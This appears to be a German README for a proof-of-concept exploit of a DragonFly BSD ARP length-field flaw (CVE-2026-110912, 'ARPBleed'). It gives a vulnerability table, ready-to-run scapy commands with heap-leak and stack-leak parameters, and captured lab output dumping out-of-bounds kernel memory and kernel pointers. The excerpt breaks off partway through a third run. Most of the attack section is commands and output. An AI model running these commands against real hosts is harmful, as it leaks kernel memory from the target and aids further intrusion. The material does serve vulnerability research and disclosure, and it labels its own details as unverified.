
Python/scapy-Proof-of-Concept für CVE-2026-110912 (ARPBleed), einen ARP-ar_hln/ar_pln-Out-of-Bounds-Read in DragonFly BSD, der Kernel-Heap- und Stack-Speicher preisgibt.
ARPBleed 🩸
ARP-Paketverarbeitungs-Schwachstelle | DragonFly BSD | Sicherheitsforschung
ARPBleed ist der Name, der mit der gemeldeten Schwachstelle CVE-2026-110912 in Verbindung gebracht wird und die unsachgemäße Behandlung von Längenfeldern in Address Resolution Protocol (ARP)-Paketen in DragonFly BSD betrifft.
Laut der vorläufigen Schwachstellenbeschreibung können fehlerhafte ARP-Pakete einen Out-of-Bounds-Speicherlesezugriff auslösen, wodurch möglicherweise Teile des Kernel-Speichers über Netzwerkantworten offengelegt werden.
Wichtig: Die hier dargestellten Details zur Schwachstelle sind vorläufig und müssen gegen maßgebliche CVE-Einträge und offizielle Herstellerhinweise verifiziert werden, bevor sie als bestätigt gelten.
| Attribut | Details |
|---|---|
| CVE-ID | CVE-2026-110912 |
| Name der Schwachstelle | ARPBleed |
| Gemeldetes Produkt | DragonFly BSD |
| Art der Schwachstelle | Out-of-bounds Read |
| Zugehörige CWE | CWE-130 — Unsachgemäße Behandlung von Inkonsistenzen bei Längenparametern |
| Gemeldeter Angriffsvektor | Angrenzendes Netzwerk |
| Erforderliche Authentifizierung | Berichten zufolge keine |
| Mögliche Auswirkung | Offenlegung von Kernel-Speicher |
| Gemeldeter CVSS-Score | 7.1 — Nicht verifiziert |
| Gemeldete betroffene Versionen | Bis 6.4.2 — Nicht verifiziert |
| Behebung | Offiziellen Hersteller-Patch verifizieren |
Das Address Resolution Protocol (ARP) wird in IPv4-Netzwerken verwendet, um IP-Adressen in Hardware-Adressen, typischerweise MAC-Adressen, aufzulösen.
Wenn ein Host mit einem anderen Gerät im lokalen Netzwerk kommunizieren muss, kann er eine ARP-Anfrage per Broadcast senden. Das Gerät mit der entsprechenden IP-Adresse kann mit einer ARP-Antwort reagieren, die seine Hardware-Adresse enthält.
CVE-2026-110912-ARPBleed.py - einzelne Datei, benötigt python3 + scapy und root (Raw Socket).
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
Die ersten 6 Bytes des geleakten ar_sha-Bereichs sind die echte MAC-Adresse des Opfers und die ersten 4 Bytes von ar_spa sind die IP-Adresse des Opfers – alles danach ist Kernel-Speicher außerhalb der Grenzen. Exit-Code 0 bei einem erfassten Leak, 2, wenn keine Antwort eintrifft (Verhalten eines gepatchten Kernels).
Opfer: DragonFly 6.4.2-RELEASE (Standardinstallation, QEMU virtio-net), 10.170.0.10. Angreifer: Kali, scapy 2.7.01, 10.170.0.2, dasselbe L2-Segment.
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=200 arp_body=420 frame=434
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 434 bytes (reply ar_hln=6 ar_pln=200)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)